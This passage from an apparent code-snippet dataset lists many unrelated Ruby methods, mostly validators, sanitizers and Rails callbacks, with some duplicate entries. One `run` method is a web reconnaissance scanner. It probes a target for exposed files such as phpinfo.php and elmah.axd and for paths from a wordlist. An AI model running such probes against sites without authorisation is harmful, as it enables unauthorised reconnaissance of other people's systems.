# todo/fix: remove wrap_markup; replace w/ guard_text\n # why: text might be css, js, not just html\n \n ### !!!!!!!!!!!!\n ## todo: add print depreciation warning\n \n wrap_markup( text )\n end", "def check_body\n return true if body.blank?\n\n limit = 1_500_000\n current_length = body.length\n return true if body.length <= limit\n\n raise Exceptions::UnprocessableEntity, \"body of article is too large, #{current_length} chars - only #{limit} allowed\" if !ApplicationHandleInfo.postmaster?\n\n logger.warn \"WARNING: cut string because of database length #{self.class}.body(#{limit} but is #{current_length})\"\n self.body = body[0, limit]\n end", "def verify!\n wrong = @children.find do |i|\n Interscript::Node::Item::Stage === i ||\n ! (Interscript::Node::Item === i) ||\n i.class == Interscript::Node::Item\n end\n\n if wrong\n raise TypeError, \"An I::Node::Item::Group can't contain an #{wrong.class} item.\"\n end\n end", "def sanitize_attributes\n if self.sanitize_level\n self.body = Sanitize.clean(self.body_raw, self.sanitize_level)\n self.title = Sanitize.clean(self.title, self.sanitize_level)\n else\n self.body = self.body_raw\n end\n end", "def trim_checklist_for_self_audit\n \n self.trim_checklist_for_design_type\n self.checklist.sections.each do |section|\n section.subsections.each do |subsection|\n subsection.checks.delete_if { |check| !check.is_self_check? }\n end\n end\n \n # Lop off any empty sections and subsections\n self.checklist.sections.delete_if { |section| section.check_count == 0 }\n self.checklist.sections.each do |section|\n section.subsections.delete_if { |subsection| subsection.check_count == 0 }\n end\n \n end", "def verify_interactive_content\n key = random_string\n while Questionnaire.find_by(key: key)\n key = random_string\n end\n questionnaire = Questionnaire.new(name: key, key: key, content: @raw_questionnaire_content)\n return if questionnaire.valid?\n\n render status: :bad_request, json: { error: questionnaire.errors }\n end", "def check_slide(slide, title, code, skipped, content_types = [], contents = [], strip = true, &checks)\n assert_equal(title, slide.title)\n assert_equal(code, slide.contains_code?)\n assert_equal(skipped, slide.skip)\n content_types.each_with_index { |e, i| assert_kind_of(e, slide.elements[i]) }\n contents.each_with_index do |e, i|\n if strip\n assert_equal(e, slide.elements[i].to_s.strip)\n else\n assert_equal(e, slide.elements[i].to_s)\n end\n end\n yield(slide.elements) unless checks.nil?\n end", "def propagate_content\n true\n end", "def validate_ingest_payload( payload )\n\n errors = []\n warnings = []\n\n #\n # ensure required fields first...\n #\n\n # document title\n errors << 'missing title' if payload[ :title ].nil?\n\n # other required attributes\n errors << 'missing rights' if payload[ :rights ].nil?\n errors << 'missing publisher' if payload[ :publisher ].nil?\n errors << 'missing institution' if payload[ :institution ].nil?\n errors << 'missing source' if payload[ :source ].nil?\n errors << 'missing license' if payload[ :license ].nil?\n\n # check for an abstract that exceeds the maximum size\n if payload[ :abstract ].blank? == false && payload[ :abstract ].length > MAX_ABSTRACT_LENGTH\n errors << \"abstract too large (< #{MAX_ABSTRACT_LENGTH} bytes)\"\n end\n\n # ensure an embargo type is defined\n if payload[:embargo_type].blank?\n errors << 'unspecified embargo type'\n end\n\n # ensure an embargo release date is defined if specified\n if payload[:embargo_type] != Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC &&\n payload[:embargo_release_date].blank?\n errors << 'unspecified embargo release date for embargo item'\n end\n\n #\n # then warn about optional fields\n #\n\n # author attributes\n warnings << 'missing author first name' if payload[ :author_first_name ].nil?\n warnings << 'missing author last name' if payload[ :author_last_name ].nil?\n warnings << 'missing author computing id' if payload[ :author_computing_id ].nil?\n\n warnings << 'missing advisor(s)' if payload[ :advisors ].blank?\n\n warnings << 'missing issued date' if payload[ :issued ].nil?\n warnings << 'missing abstract' if payload[ :abstract ].nil?\n warnings << 'missing keywords' if payload[ :keywords ].nil?\n warnings << 'missing degree' if payload[ :degree ].nil?\n warnings << 'missing create date' if payload[ :create_date ].nil?\n warnings << 'missing modified date' if payload[ :modified_date ].nil?\n warnings << 'missing language' if payload[ :language ].nil?\n warnings << 'missing notes' if payload[ :notes ].nil?\n warnings << 'missing admin notes' if payload[ :admin_notes ].nil?\n\n return errors, warnings\n end", "def clean_up(curFed)\n clean_author(curFed)\n clean_title_pub(curFed)\n end", "def content_for_with_empty_check(name, content = nil, &block)\n if content_for?(name) == :empty\n # Some preceding layout or template has already specified that there is to be no content for this name, and that is FINAL.\n return nil\n else\n content_for_without_empty_check(name, content, &block)\n end\n end", "def validate_body\n if @body && /\\b(?:html|xml)\\b/ =~ @type\n @body.scrub!\n end\n end", "def sanity_check\n if bootstrap_vault_item && (bootstrap_vault_json || bootstrap_vault_file)\n ui.warn \"--vault-item given with --vault-list or --vault-file, ignoring the latter\"\n end\n\n if bootstrap_vault_json && bootstrap_vault_file\n ui.warn \"--vault-list given with --vault-file, ignoring the latter\"\n end\n end", "def sanitize()\n equiptment = [\"RNA-P1000\",\"RNA-P200\",\"RNA-P20\", \"Tube Block\", \"Bench Top\", \"Other\"]\n show do\n title \"Isolating RNA Effectively\"\n separator\n warning \"<b>Working with RNA can be tricky, since it is very sensitive to RNases.</b>\"\n note \"To prevent the degradation of our RNA and our hard work we must take care to use our best aseptic technique.\"\n note \"\"\n note \"\"\n check \"Wipe down area and equiptment you will be using with <b>70% EtOH</b> & <b>RNase ZAP</B>\"\n equiptment.each {|e| bullet \"<b>#{e}</b>\"}\n separator\n warning \"<b>Keep RNase ZAP on hand use whenever necessary.</b>\"\n end\n end", "def check_quotes_and_comments\n if quotations.any?\n errors.add :base, :has_quotes\n throw :abort\n end\n if comments.any?\n errors.add :base, :has_comments\n throw :abort\n end\n end", "def before_write_content(_path, node, data, modified)\n return true unless node.is_a?(ICard)\n\n validate_v_card(data, modified)\n true # Do not break chain\n end", "def validate_order!\n _validate_order!\n rescue AASM::InvalidTransition => e\n false\n end", "def actual_flow_control\n super\n end", "def mark_content_clean\n @content_dirty = false\n end", "def cookbook_have_content?\n if current_cookbook && current_cookbook.extra_pages.empty? && current_cookbook.recipes.empty?\n redirect_to sections_path, alert: \"Sorry, but you cannot order this cookbook until you add some content\"\n end\n end", "def check_slide(slide, title, code, skipped, content_types = [ ], contents = [ ], strip = true, &checks)\n assert_equal(title, slide.title)\n assert_equal(code, slide.contains_code?)\n assert_equal(skipped, slide.skip)\n content_types.each_with_index { |e, i| assert_kind_of(e, slide.elements[i]) }\n contents.each_with_index do |e, i|\n if strip\n assert_equal(e, slide.elements[i].to_s.strip)\n else\n assert_equal(e, slide.elements[i].to_s)\n end\n end\n checks.call(slide.elements) unless checks.nil?\n end", "def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend", "def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend", "def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend", "def useless?\n content.nil? and children.empty?\n end", "def sanitize_content\n self.title = helpers.sanitize(self.title)\n self.user_name = helpers.sanitize(self.user_name)\n end", "def ensure_not_referenced_by_quotes\n unless quotes.empty?\n errors.add(:base, 'Quotes for this vehicle')\n throw :abort\n end\n end", "def validate\n if !raw.include?('Returns')\n raise InvalidTomDoc.new(\"No `Returns' statement.\")\n end\n\n if sections.size < 2\n raise InvalidTomDoc.new(\"No description section found.\")\n end\n\n true\n end", "def _semantics_check(clazz, buffer)\n end", "def sanitize_data\n sanitize_permalink\n assign_meta_keywords if meta_keywords.blank? && description\n sanitize_meta_description\n end", "def before_appending( parsestate )\n\t\tcondtag = parsestate.node_stack.reverse.find do |node|\n\t\t\tcase node\n\t\t\twhen Inversion::Template::IfTag,\n\t\t\t Inversion::Template::CommentTag\n\t\t\t\tbreak node\n\t\t\twhen Inversion::Template::ContainerTag\n\t\t\t\traise Inversion::ParseError, \"'%s' tags can't have '%s' clauses\" %\n\t\t\t\t\t[ node.tagname.downcase, self.tagname.downcase ]\n\t\t\tend\n\t\tend\n\n\t\tunless condtag\n\t\t\traise Inversion::ParseError, \"orphaned '%s' tag\" % [ self.tagname.downcase ]\n\t\tend\n\tend", "def unfiltered_content; end", "def unfiltered_content; end", "def unfiltered_content; end", "def modified?\n return true if @text.blank? || @parent_post.blank?\n\n parent_text = Nokogiri::HTML::fragment(@parent_post.cooked).text.delete(QuoteComparer.whitespace)\n text = @text.delete(QuoteComparer.whitespace)\n\n !parent_text.include?(text)\n end", "def validate_and_sanitize\n r = super\n return r unless r.success?\n\n r = validate_matches\n return r unless r.success?\n\n success\n end", "def affi_object_well_formed(affi_object, name_list, parsed_complex, auth_id)\n # problem: affi_object nil\n if affi_object == nil\n puts \"\\n********************* Affiliation is nil **********************\\n\"\n print name_list\n # problem: missing country\n elsif affi_object.country == nil\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************Missing country**********************\\n\"\n affi_object.print()\n return false\n # problem: missing name\n elsif affi_object.name == nil\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************ Missing name **********************\\n\"\n affi_object.print()\n return false\n # problem: missing author or author_affiliation_id incorrect\nelsif affi_object.article_author_id == nil or \\\n affi_object.article_author_id != auth_id\n if parsed_complex == false\n printf(\"\\nAuthor %d affilition parsed as complex \\n\", auth_id)\n else\n printf(\"\\nAuthor %d affilition parse as single \\n\", auth_id)\n end\n print name_list\n puts \"\\n************************ Wrong Author ID **********************\\n\"\n affi_object.print()\n return false\n else\n return true\n end\nend", "def doManipulation(contents); raise \"Abstract Exception: doManipulation must be extended\"; end", "def validate_pre_run!\n check_if_yml_present!\n check_if_yml_has_correct_content!\n check_if_rubocop_command_exists!\n end", "def preparation\n return unless inspect_duplicates(@hidden + @open)\n @hidden = my_split(@hidden)\n @open = my_split(@open)\n end", "def validate_clinical_document_content\n document = clinical_document.as_xml_document\n validator = Validation.get_validator(clinical_document.doc_type)\n\n logger.debug(validator.inspect)\n errors = nil\n begin\n errors = validator.validate(patient, document)\n rescue Exception => e # XXX rescuing everything is almost never a good idea\n logger.info(\"ERROR DURING VALIDATION: #{e}\")\n raise ValidationError\n end\n logger.debug(errors.inspect)\n logger.debug(\"PD #{patient} doc #{document}\")\n\n content_errors.clear\n content_errors.concat errors\n\n if validator.contains_kind_of?(Validators::Umls::UmlsValidator)\n self.umls_enabled = true\n end\n\n if content_errors.empty?\n pass\n else\n fail\n end\n\n content_errors\n end", "def has_content?\n ( not self.title.nil? and not self.title.length == 0 ) or \n (not self.description.nil? and not self.description.length == 0 ) or \n (not self.teaser.nil? and not self.teaser.length == 0 )\n end", "def validate\n\tvalidate_unexpected_assets_not_present && validate_expected_asset_present && validate_snippet_and_description\nend", "def _clean; end", "def missing_body(event_data, bodydata)\n\n ed = event_data.clone\n bd = bodydata.clone\n flag = false\n\n # flag if event body has more fields than we're expecting\n missing = ed['body'].stringify_keys.keys - bd.stringify_keys.keys\n flag = true if missing.size.positive?\n \n # compare body fields to metadata fields, keep keys where the values are different\n flag = true if missing.reject { |k| bd[k] == ed['metadata'][k] }.size.positive?\n\n # compare data in deeply nested events\n if flag == true && missing.any? {|k| ed['body'][k].is_a? Hash}\n\n # for each body key, store a similar value with the missing prefix removed\n body_keys = _flatten(ed['body']).keys\n compare = body_keys.map { |k| [k, k.sub(Regexp.union(missing), '').sub(/^_/, '')] } || []\n\n # for each comparison key, check it within the expected body keys\n # for each comparison set, if 1 item in the compare array is a match for an expected key, store the expected key to a new array\n # store missing keys to a different array\n found = []\n compare.clone.each do |c|\n c.each do |k|\n next unless bodydata.stringify_keys.keys.any? k\n\n found << k\n # don't compare it again\n compare.delete(c)\n end\n end\n\n # if the compare is empty now, continue, nothing was missed\n if compare.empty?\n flag = false\n # something was missed, identify it\n else\n\n missing_nested = []\n compare.each do |c|\n c.each do |k|\n # if the key is not found in the expected bodydata, collect it\n missing_nested << k if bodydata.stringify_keys.keys.none? k\n end\n end\n\n # get the difference in keys sent from expected\n # check each missing key and see if we're storing it's parent\n # remove any keys where we store the parent element and it's content\n key_diff = body_keys - bd.stringify_keys.keys\n missing_still = key_diff.clone\n key_diff.each do |k|\n bd.stringify_keys.keys.each do |dk|\n missing_still.delete(k) if key_diff.any?(/^#{dk}/)\n end\n end\n\n if missing_still.count == 0\n flag = false\n else\n missing = missing_still\n deep_sample = missing.map { |k| \"#{k}:::#{_flatten(ed['body']).fetch(k)}\" } \n # puts \"missing still\"\n # puts missing_still.count\n\n # o = {\n # expected: bd.stringify_keys.keys,\n # sent: body_keys,\n # compare: check,\n # missing_nested: missing_nested,\n # missing: missing,\n # missing_still: missing_still\n # }\n # pp o\n # open('log/ddl-debug-missing.log', 'a') { |f| f << o }\n\n end\n end\n end\n\n if flag == true\n sample = deep_sample || missing&.map { |k| \"#{k}:::#{ed['body'].fetch(k)}\" }\n err = <<~ERRLOG\n event_name: live_#{ed['metadata']['event_name']}\n count: { sent: #{ed['body'].keys.count}, defined: #{bd.keys.count} }\n summary: { event_name: #{ed['metadata']['event_name']}, undefined: #{missing.to_s.gsub('\"', '')} }\n sample: { event_name: #{ed['metadata']['event_name']}, undefined: #{sample} }\n message: #{ed.to_json}\n\n ERRLOG\n # store in log file, print if interactive\n open('log/ddl-undefined.log', 'a') { |f| f << err }\n puts err if $stdout.isatty\n end\nend", "def valid?\n return false if !raw.include?('Returns')\n return false if sections.size < 2\n true\n end", "def test_parser_handles_empty_simple_content\n simple_content_assert nil, nil\n simple_content_assert nil, ''\n end", "def clean_entry(entry)\n fields_to_check = [ :author, :title, :journal, :publisher, :booktitle,\n :month, :institution ]\n\n return unless entry.methods.include?(\"fields\".to_sym)\n entry.fields.each do |f, value|\n #puts \"Checking field #{f} for entry #{entry}\"\n next unless fields_to_check.include?(f) or !(entry[f].nil?)\n entry[f] = standardize_capitialization(entry[f])\n end\nend", "def order?(element, die=nil)\n die = @proofsheet.die(element.inherited_namespace, element.absolute_xpath) if not die\n validity = true # default unordered, so valid\n if die\n if die.order and element.has_elements?\n\t\t\t\t\torder_how = die.order[0]\n order_has = die.order[1]\n # load childern element tag names into an array\n children = []\n element.elements.each do |child_element|\n children << child_element.name\n end\n # how do you want it?\n case order_how\n when 'tag'\n # remove adjacent duplicates\n packed_children = []\n children.each do |c|\n packed_children << c if packed_children.last != c\n end\n # remove non-intersecting children items\n same_children = packed_children\n diff = children - order_has\n diff.each do |d|\n same_children.delete(d)\n end\n # remove non-intersecting ordered items\n same_has = order_has.dup\n diff = order_has - same_children\n diff.each do |d|\n same_has.delete(d)\n end\n # correct?\n if same_children != same_has\n validity = false\n error = \"ORDER tag\"\n @errors << [die.namespace, die.xpath, error]\n end\n when 'content-a..z'\n sorted_children = children.sort\n if not sorted_children == ordered_children\n validity = false\n error = \"ORDER content-a..z\"\n @errors << [die.namespace, die.xpath, error]\n end\n when 'content-z..a'\n sorted_children = children.sort.reverse\n if not sorted_children == ordered_children\n validity = false\n error = \"ORDER content-z..a\"\n @errors << [die.namespace, die.xpath, error]\n end\n end\n\t\t\t\tend\n end\n return validity\n end", "def check\n super\n uncommitted = Perforce.uncommitted_files\n fail \"Uncommitted files violate the First Principle Of Release!\\n#{uncommitted.join(\"\\n\")}\" unless uncommitted.empty?\n end", "def sanitize\n self.summary = sanitize_string(summary)\n self.description = sanitize_string(description)\n self.post_install_message = sanitize_string(post_install_message)\n self.authors = authors.collect {|a| sanitize_string(a) }\n end", "def validate_todo_data(todo_data)\n ##----------------\n ## Required values\n ##----------------\n required = %i{ todo_base\n source\n workspace\n compressed_destination\n glacier_description\n glacier_vault\n application\n method\n }\n missing = required.select { |key| todo_data[key].to_s.strip.empty? }.map(&:inspect)\n raise \"Required todo values missing: #{missing.join(', ')}\" unless missing.empty?\n\n ##------------------------------------\n ## Verify compressed archived checking\n ##------------------------------------\n verify = todo_data[:verify_compressed_archive].to_s.strip.downcase\n return if ['', 'false'].include?(verify) # No verification to do; end validation\n # We have a non-false verify value; unless it's 'true', it's not a valid value.\n raise \":verify_compressed_archive must be '', 'true'. or 'false'; got: '#{verify}'\" unless verify == 'true'\n\n # ':verify_compressed_archive' is true; make sure :verification_destination\n # is defined.\n if todo_data[:verification_destination].to_s.strip.empty?\n raise \"':verification_destination' must be supplied if ':verify_compressed_archive' is 'true'\"\n end\n\n end", "def patched\n fields.each do |h|\n next if incoming[h].to_s.empty?\n\n # If we didn't have anything before, take the new version\n if existing[h].to_s.empty? || existing[h].to_s.casecmp('unknown').zero?\n existing[h] = incoming[h]\n next\n end\n\n # These are _expected_ to be different on a term-by-term basis\n next if %i[term group group_id area area_id].include? h\n\n # Can't do much yet with these ones\n next if %i[source given_name family_name].include? h\n\n # Accept multiple values for multi-lingual names\n if h.to_s.start_with? 'name__'\n existing[h] += ';' + incoming[h]\n next\n end\n\n # TODO: accept multiple values for :website, etc.\n next if %i[website].include? h\n\n # Accept values from multiple sources for given fields\n if %i[email twitter facebook image].include? h\n existing[h] = [existing[h], incoming[h]].join(';').split(';').map(&:strip).uniq(&:downcase).join(';')\n next\n end\n\n # If we have the same as before (case insensitively), that's OK\n # NB: the casecmp version on its own isn't sufficient in some cases (e.g. Turkey)\n next if (existing[h] == incoming[h]) || existing[h].casecmp(incoming[h].downcase).zero?\n\n # Accept more precise dates\n if h.to_s.include?('date')\n if incoming[h].include?(existing[h])\n existing[h] = incoming[h]\n next\n end\n # Ignore less precise dates\n next if existing[h].include?(incoming[h])\n end\n\n # Store alternate names for `other_names`\n if h == :name\n @new_headers << :alternate_names\n existing[:alternate_names] ||= nil\n existing[:alternate_names] = [existing[:alternate_names], incoming[:name]].compact.join(';')\n next\n end\n\n @warnings << \" ☁ Mismatch in #{h} for #{existing[:uuid]} (#{existing[h]}) vs #{incoming[h]} (for #{incoming[:id]})\"\n end\n\n existing\n end", "def before_appending( parsestate )\n\t\tcondtag = parsestate.node_stack.reverse.find do |node|\n\t\t\tcase node\n\n\t\t\t# If there was a previous 'if' or 'unless', the else belongs to it. Also\n\t\t\t# allow it to be appended to a 'comment' section so you can comment out an\n\t\t\t# else clause\n\t\t\twhen Inversion::Template::IfTag,\n\t\t\t Inversion::Template::UnlessTag,\n\t\t\t Inversion::Template::CommentTag\n\t\t\t\tbreak node\n\n\t\t\t# If it's some other kind of container, it's an error\n\t\t\twhen Inversion::Template::ContainerTag\n\t\t\t\traise Inversion::ParseError, \"'%s' tags can't have '%s' clauses\" %\n\t\t\t\t\t[ node.tagname.downcase, self.tagname.downcase ]\n\t\t\tend\n\t\tend\n\n\t\t# If there wasn't a valid container, it's an error too\n\t\traise Inversion::ParseError, \"orphaned '%s' tag\" % [ self.tagname.downcase ] unless condtag\n\tend", "def fix_culture_groups!\n # move_culture! \"slovak\", \"carpathian\", \"west_slavic\" # This is done in 1.35\n move_culture! \"transylvanian\", \"carpathian\", \"south_slavic\"\n move_culture! \"romanian\", \"carpathian\", \"south_slavic\"\n move_culture! \"hungarian\", \"carpathian\", \"south_slavic\"\n\n patch_mod_file!(\"common/cultures/00_cultures.txt\") do |node|\n # Looks like I get million errors if I do this, so instead:\n # node.delete! \"carpathian\"\n hun = node[\"south_slavic\"][\"hungarian\"]\n node[\"carpathian\"].add! \"old_hungarian\", PropertyList[\n \"dynasty_names\", hun[\"dynasty_names\"],\n \"male_names\", hun[\"male_names\"],\n \"female_names\", hun[\"female_names\"],\n ]\n\n turkish = node[\"turko_semitic\"][\"turkish\"]\n node[\"turko_semitic\"].delete! \"turkish\"\n node.add! \"turkish_g\", PropertyList[\n \"graphical_culture\", \"muslimgfx\",\n \"turkish\", turkish,\n ]\n end\n\n patch_mod_file!(\"missions/EMP_Hungarian_Missions.txt\") do |node|\n mission = node[\"emp_hun_bulwark_of_christianity_branch\"][\"emp_hun_bulwark_of_christianity\"]\n culture_check = mission[\"trigger\"][\"if\"][\"custom_trigger_tooltip\"][\"NOT\"][\"any_country\"][\"OR\"]\n culture_check.add! \"culture\", \"turkish\"\n end\n\n patch_mod_file!(\"common/government_reforms/01_government_reforms_monarchies.txt\") do |node|\n bonuses = node[\"mughal_government\"][\"assimilation_cultures\"]\n raise unless bonuses[\"carpathian\"] == PropertyList[\"mercenary_cost\", -0.1]\n bonuses.delete! \"carpathian\"\n bonuses[\"south_slavic\"][\"mercenary_cost\"] = -0.1\n end\n\n patch_mod_file!(\"common/government_names/00_government_names.txt\") do |node|\n ssm = node[\"south_slavic_monarchy\"][\"trigger\"]\n ssm.add! \"NOT\", PropertyList[\"culture\", \"transylvanian\"]\n ssm.add! \"NOT\", PropertyList[\"culture\", \"hungarian\"]\n ssm.add! \"NOT\", PropertyList[\"culture\", \"romanian\"]\n\n ssr = node[\"south_slavic_republic\"][\"trigger\"]\n ssr.add! \"NOT\", PropertyList[\"culture\", \"transylvanian\"]\n ssr.add! \"NOT\", PropertyList[\"culture\", \"hungarian\"]\n ssr.add! \"NOT\", PropertyList[\"culture\", \"romanian\"]\n end\n\n # I don't care, but it generates endless errors\n # Just keep them matching vanilla\n\n patch_file!(\"customizable_localization/00_customizable_localization_FR.txt\") do |node|\n node.gsub(\"OR {\", \" OR = {\")\n end\n\n patch_mod_files! \"customizable_localization/*.txt\" do |node|\n node.find_all(\"defined_text\").each do |dt|\n dt.find_all(\"text\").each do |t|\n if t[\"trigger\"] == PropertyList[\"culture_group\", \"carpathian\"]\n t[\"trigger\"] = PropertyList[\"OR\", PropertyList[\n \"culture\", \"slovak\",\n \"culture\", \"hungarian\",\n \"culture\", \"transylvanian\",\n \"culture\", \"romanian\",\n ]]\n end\n raise if t[\"trigger\"].inspect =~ /carpathian/\n end\n end\n end\n end", "def test_parsing\n assert_raises( SugarException ) {\n sugar = Sugar.new()\n sugar.sequence = INVALID_SEQUENCE\n }\n assert_nothing_raised {\n sugar = Sugar.new()\n\t\t\tsugar.extend( Sugar::IO::CondensedIupac::Builder )\n sugar.sequence = IUPAC_DISACCHARIDE\n }\n end", "def verify_integrity(object_data, entry)\n if object_data[\"policies\"].empty?\n yield(\"Policy group #{object_data[\"name\"]} does not have any policies in it.\")\n end\n end", "def local_clean_new_order(mail)\n local_clean_extract_from_body(mail)\n return false unless @order_number\n logger.info \"Cleanup of #{@order_number}\"\n true\n end", "def run\n super\n\n # Base checklist\n to_check = [\n { :path => \"crossdomain.xml\", :signature => \"<?xml\" },\n { :path => \"elmah.axd\", :signature => \"Error Log for\" },\n { :path => \"phpinfo.php\", :signature => \"phpinfo()\" },\n { :path => \"robots.txt\", :signature => \"user-agent:\" },\n { :path => \"sitemap.xml\", :signature => \"<?xml\" },\n { :path => \"sitemap.xml.gz\", :signature => \"<?xml\" },\n ]\n\n # Add in un-sig'd checks \n unsig_checks = IO.readlines(\"#{Rails.root}/data/web.list\")\n unsig_check_list = unsig_checks.map { |x| { :path => x.chomp, :signature => \"\" } } \n to_check += unsig_check_list\n\n test_url = \"#{@entity.name}/there-is-no-way-this-exists-#{rand(10000)}\"\n missing_page_content = open_uri_and_return_content(test_url, @task_logger)\n\n # Run through the checks\n to_check.each do |check|\n\n # Concat the uri to create the check\n url = \"#{@entity.name}/#{check[:path]}\"\n @task_logger.log \"Connecting to #{url} for #{@entity}\" \n\n # Do the request\n content = open_uri_and_return_content(url,@task_logger)\n\n # Return if we didn't get anyting\n next unless content\n\n # Check to make sure this is a legit page, and create an entity if so\n # \n # Note that the signature is blank for unsig_checks\n #\n # TODO - improve the checking for wildcard page returns and 404-200's\n\n if content.include? check[:signature] and content != missing_page_content\n # create an entity if we match\n create_entity Entities::WebPage, { :name => \"#{url}\", :uri => \"#{url}\", :content => \"#{content}\" }\n end\n\n end\nend", "def valid?\n # Title is required.\n if self.config['title'].blank?\n self.messages << {\n type: :error,\n message: \"The layout in position #{self.layout_index + 1}'s region in position #{self.region_index + 1} must have a `title`.\"\n }\n end\n\n if self.config['content_templates'].present?\n # Content templates must be an array.\n if !self.config['content_templates'].is_a?(Array)\n self.messages << {\n type: :error,\n message: \"The layout in position #{self.layout_index + 1}'s region in position #{self.region_index + 1} has an invalid `content_templates` attribute: must be an array.\"\n }\n # Content templates must be real content templates\n else\n self.config['content_templates'].each do |content_template_var_name|\n # Check if it's a base content type.\n if LiveEditor::API::Themes::BASE_CONTENT_TEMPLATE_VAR_NAMES.include?(content_template_var_name)\n matching_template_found = true\n # Otherwise, search custom types.\n else\n matching_templates = self.content_templates_config.content_templates.select do |matching_template|\n if matching_template['var_name'].present? && matching_template['var_name'] == content_template_var_name\n true\n else\n var_name = LiveEditor::CLI::naming_for(matching_template['title'])[:var_name]\n var_name == content_template_var_name\n end\n end\n\n matching_template_found = matching_templates.any?\n end\n\n unless matching_template_found\n self.messages << {\n type: :error,\n message: \"The layout in position #{self.layout_index + 1}'s region in position #{self.region_index + 1} has an invalid `content_template`: `#{content_template_var_name}`.\"\n }\n end\n end\n end\n end\n\n # Max num content must be an integer (if present).\n if self.config['max_num_content'].present? && !self.config['max_num_content'].is_a?(Integer)\n self.messages << {\n type: :error,\n message: \"The layout in position #{self.layout_index + 1}'s region in position #{self.region_index + 1} has an invalid `max_num_content` attribute: must be an integer.\"\n }\n end\n\n self.errors.size == 0\n end", "def assert_valid\n raise ValidationError, \"no name\" unless name\n raise ValidationError, \"no version\" unless version\n raise ValidationError, \"no summary\" unless summary\n #raise ValidationError, \"no maintainer\" unless maintainer\n #raise ValidationError, \"no homepage\" unless homepage\n end", "def check_conventions\n\tcheck_encoding\n\tcheck_yaml\n\tcheck_merge\n\tcheck_cucumber\n\tcheck_ruby\nend", "def ensure_not_referenced_by_any_line_item\n unless line_items.empty?\n errors.add(:base, 'Line Items present')\n throw :abort\n end\n end", "def ensure_not_referenced_by_any_line_item\n\t\tunless line_items.empty?\n\t\t\terrors.add(:base, 'Line Items present')\n\t\t\tthrow :abort\n\t\tend\n\tend", "def validate_and_sanitize\n super\n end", "def repair(text); end", "def sane_structure?\n structure.nil? || (structure.to_s =~ Structure::STRUCTURE_PATTERN && !ancestor_ids.include?(self.id))\n end", "def ensure_not_referenced_by_any_line_item\n\t\tunless line_items.empty?\n\t\t\terrors.add(:base, 'Line Items Presents')\n\t\t\tthrow :abort\n\t\tend\n\tend", "def sanitize_for_dynamo(content)\n if content.is_a?(Array)\n content.delete_if do |e|\n sanitize_for_dynamo(e)\n bad_dynamo_value(e)\n end\n elsif content.is_a?(Hash)\n content.delete_if do |_k, v|\n sanitize_for_dynamo(v)\n bad_dynamo_value(v)\n end\n end\n end", "def filter_content \n\t\tself.title = ActionView::Base.full_sanitizer.sanitize(self.title)\n\t\tself.slug = ActionView::Base.full_sanitizer.sanitize(self.slug)\n\t\tself.meta_title = ActionView::Base.full_sanitizer.sanitize(self.meta_title)\n\t\tself.meta_keyword = ActionView::Base.full_sanitizer.sanitize(self.meta_keyword)\n\t\tself.meta_description = ActionView::Base.full_sanitizer.sanitize(self.meta_description)\n\t\tself.page_class = ActionView::Base.full_sanitizer.sanitize(self.page_class)\n\tend", "def q3_layout_ok?(historical_orders, layout)\r\n # (i) basic checks\r\n if layout == nil\r\n return \"layout is nil. It should be a 2D array of items (strings)\"\r\n elsif !layout.is_a?(Array)\r\n return \"layout is not an array. It should be a 2D array of items (strings).\"\r\n elsif layout.length != 5\r\n return \"layout is an array of #{layout.length} elements. It should be a 2D array of 5 elements (each to represent 1 row).\"\r\n end\r\n \r\n # check if each of the 5 elements in layout are arrays as well\r\n for i in 0...layout.length\r\n if layout[i]==nil or !layout[i].is_a?(Array)\r\n return \"layout should be a 2D array. There are elements in layout that are not correct.\"\r\n end\r\n end\r\n \r\n your_items = layout.flatten.sort \r\n # (ii) all items in your returned array must be unique.\r\n if your_items.length != your_items.uniq.length # there are duplicates\r\n duplicated_items = your_items.select{ |e| your_items.count(e) > 1 }.uniq\r\n return \"layout should not contain duplicated items. These are the duplicated items in your layout :#{duplicated_items}.\"\r\n end\r\n \r\n # (iii) \r\n historical_items = historical_orders.flatten.uniq.sort\r\n if historical_items != your_items\r\n missing_items = historical_items - your_items\r\n extra_items = your_items - historical_items\r\n \r\n # construct long-winded error message\r\n temp = \"layout should contain exactly the same items as the historical orders.\"\r\n \r\n if missing_items.length > 0\r\n temp += \"These items are missing in your layout: #{missing_items}.\"\r\n end\r\n \r\n if extra_items.length > 0\r\n temp += \"These items are in your layout, but not required: #{extra_items}.\"\r\n end\r\n \r\n return temp\r\n end\r\n \r\n # all ok\r\n return true \r\nend", "def validate_file_list_contents\n keys = self.original_file_list.map(&:keys).flatten.uniq.sort\n unless (keys & FILE_LIST_KEYS) == keys\n errors.add(:original_file_list, \" is formatted incorrectly. This must be an array of Hashes with the keys #{FILE_LIST_KEYS.join(', ')}.\" )\n end\n self.original_file_list.each do |file|\n unless StudyFile::STUDY_FILE_TYPES.include?(file['file_type'])\n errors.add(:original_file_list, \" contains a file of an invalid type: #{file['file_type']}\")\n end\n end\n unless match_bundle_type.any?\n errors.add(:original_file_list, \" does not contain a file of the specified bundle type: #{self.bundle_type}\")\n end\n if match_bundle_type.size > 1\n errors.add(:original_file_types, \" contains files of incompatible types: #{match_bundle_type.join(', ')}\")\n end\n end", "def ensure_not_referenced_by_any_line_item\n\tif line_items.count.zero?\nreturn true\nelse\nerrors[:base] << \"Line Items present\"\nreturn false\nend\nend", "def content_manipulation\n self.summary = markup_manipulation self.summary if self.summary.present?\n self.content = markup_manipulation self.content if self.content.present?\n end", "def ensure_not_referenced_by_any_line_item\n\tif line_items.empty?\n \t return true\n \telse\n \t errors.add(:base, 'Line Items present' )\n \treturn false\n \tend\n end", "def contents_valid?(contents)\n\n count = Hash.new(0)\n\n contents.split(\"\").each do |i|\n count[i] +=1\n end\n\n count.delete(EMPTY)\n\n !count.each_value.any? {|value| value > 